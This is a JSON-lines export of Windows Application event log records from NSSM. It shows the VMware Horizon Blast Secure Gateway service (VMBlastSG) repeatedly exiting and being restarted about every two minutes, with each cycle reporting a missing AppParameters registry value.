{"@timestamp":1646831057346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163152","163152","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166803}}
{"@timestamp":1646831057363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166804}}
{"@timestamp":1646831057363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166805}}
{"@timestamp":1646831057364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166806}}
{"@timestamp":1646831057365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166807}}
{"@timestamp":1646831185851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166808}}
{"@timestamp":1646831185852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166809}}
{"@timestamp":1646831185852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163124","0"]}}},"module":"Application","provider":"nssm","sequence":166810}}
{"@timestamp":1646831185853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163124","163124","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166811}}
{"@timestamp":1646831185870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166812}}
{"@timestamp":1646831185870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166813}}
{"@timestamp":1646831185871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166814}}
{"@timestamp":1646831185871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166815}}
{"@timestamp":1646831314374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166816}}
{"@timestamp":1646831314376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166817}}
{"@timestamp":1646831314377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163396","0"]}}},"module":"Application","provider":"nssm","sequence":166818}}
{"@timestamp":1646831314378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163396","163396","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166819}}
{"@timestamp":1646831314395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166820}}
{"@timestamp":1646831314395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166821}}
{"@timestamp":1646831314396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166822}}
{"@timestamp":1646831314397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166823}}
{"@timestamp":1646831442883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166824}}
{"@timestamp":1646831442883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166825}}
{"@timestamp":1646831442885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161416","0"]}}},"module":"Application","provider":"nssm","sequence":166826}}
{"@timestamp":1646831442886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161416","161416","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166827}}
{"@timestamp":1646831442905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166828}}
{"@timestamp":1646831442905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166829}}
{"@timestamp":1646831442906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166830}}
{"@timestamp":1646831442907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166831}}
{"@timestamp":1646831571485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166832}}
{"@timestamp":1646831571486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166833}}
{"@timestamp":1646831571486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160872","0"]}}},"module":"Application","provider":"nssm","sequence":166834}}
{"@timestamp":1646831571487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160872","160872","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166835}}
{"@timestamp":1646831571506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166836}}
{"@timestamp":1646831571506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166837}}
{"@timestamp":1646831571507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166838}}
{"@timestamp":1646831571508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166839}}
{"@timestamp":1646831699992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166840}}
{"@timestamp":1646831699993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166841}}
{"@timestamp":1646831699997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162964","0"]}}},"module":"Application","provider":"nssm","sequence":166842}}
{"@timestamp":1646831699998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162964","162964","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166843}}
{"@timestamp":1646831700016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166844}}
{"@timestamp":1646831700017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166845}}
{"@timestamp":1646831700017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166846}}
{"@timestamp":1646831700018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166847}}
{"@timestamp":1646831828607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166848}}
{"@timestamp":1646831828608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166849}}
{"@timestamp":1646831828609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","137744","0"]}}},"module":"Application","provider":"nssm","sequence":166850}}
{"@timestamp":1646831828610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["137744","137744","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166851}}
{"@timestamp":1646831828626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166852}}
{"@timestamp":1646831828627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166853}}
{"@timestamp":1646831828627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166854}}
{"@timestamp":1646831828628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166855}}
{"@timestamp":1646831957109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166856}}
{"@timestamp":1646831957111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166857}}
{"@timestamp":1646831957112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161452","0"]}}},"module":"Application","provider":"nssm","sequence":166858}}
{"@timestamp":1646831957112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161452","161452","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166859}}
{"@timestamp":1646831957128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166860}}
{"@timestamp":1646831957129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166861}}
{"@timestamp":1646831957129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166862}}
{"@timestamp":1646831957131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166863}}
{"@timestamp":1646832085607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166864}}
{"@timestamp":1646832085608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166865}}
{"@timestamp":1646832085609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163360","0"]}}},"module":"Application","provider":"nssm","sequence":166866}}
{"@timestamp":1646832085609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163360","163360","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166867}}
{"@timestamp":1646832085628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166868}}
{"@timestamp":1646832085629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166869}}
{"@timestamp":1646832085629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166870}}
{"@timestamp":1646832085630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166871}}
{"@timestamp":1646832214274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166872}}
{"@timestamp":1646832214275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166873}}
{"@timestamp":1646832214276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163376","0"]}}},"module":"Application","provider":"nssm","sequence":166874}}
{"@timestamp":1646832214278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163376","163376","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166875}}
{"@timestamp":1646832214295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166876}}
{"@timestamp":1646832214295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166877}}
{"@timestamp":1646832214296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166878}}
{"@timestamp":1646832214296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166879}}
{"@timestamp":1646832342793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166880}}
{"@timestamp":1646832342794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166881}}
{"@timestamp":1646832342794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162232","0"]}}},"module":"Application","provider":"nssm","sequence":166882}}
{"@timestamp":1646832342795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162232","162232","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166883}}
{"@timestamp":1646832342811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166884}}
{"@timestamp":1646832342811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166885}}
{"@timestamp":1646832342812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166886}}
{"@timestamp":1646832342813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166887}}
{"@timestamp":1646832471670,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166888}}
{"@timestamp":1646832471673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166889}}
{"@timestamp":1646832471673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164288","0"]}}},"module":"Application","provider":"nssm","sequence":166890}}
{"@timestamp":1646832471674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164288","164288","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166891}}
{"@timestamp":1646832471691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166892}}
{"@timestamp":1646832471692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166893}}
{"@timestamp":1646832471692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166894}}
{"@timestamp":1646832471693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166895}}
{"@timestamp":1646832600193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166896}}
{"@timestamp":1646832600194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166897}}
{"@timestamp":1646832600194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163892","0"]}}},"module":"Application","provider":"nssm","sequence":166898}}
{"@timestamp":1646832600195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163892","163892","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166899}}
{"@timestamp":1646832600211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166900}}
{"@timestamp":1646832600212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166901}}
{"@timestamp":1646832600212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166902}}
{"@timestamp":1646832600213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166903}}
{"@timestamp":1646832728705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166904}}
{"@timestamp":1646832728705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166905}}
{"@timestamp":1646832728706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164440","0"]}}},"module":"Application","provider":"nssm","sequence":166906}}
{"@timestamp":1646832728707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164440","164440","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166907}}
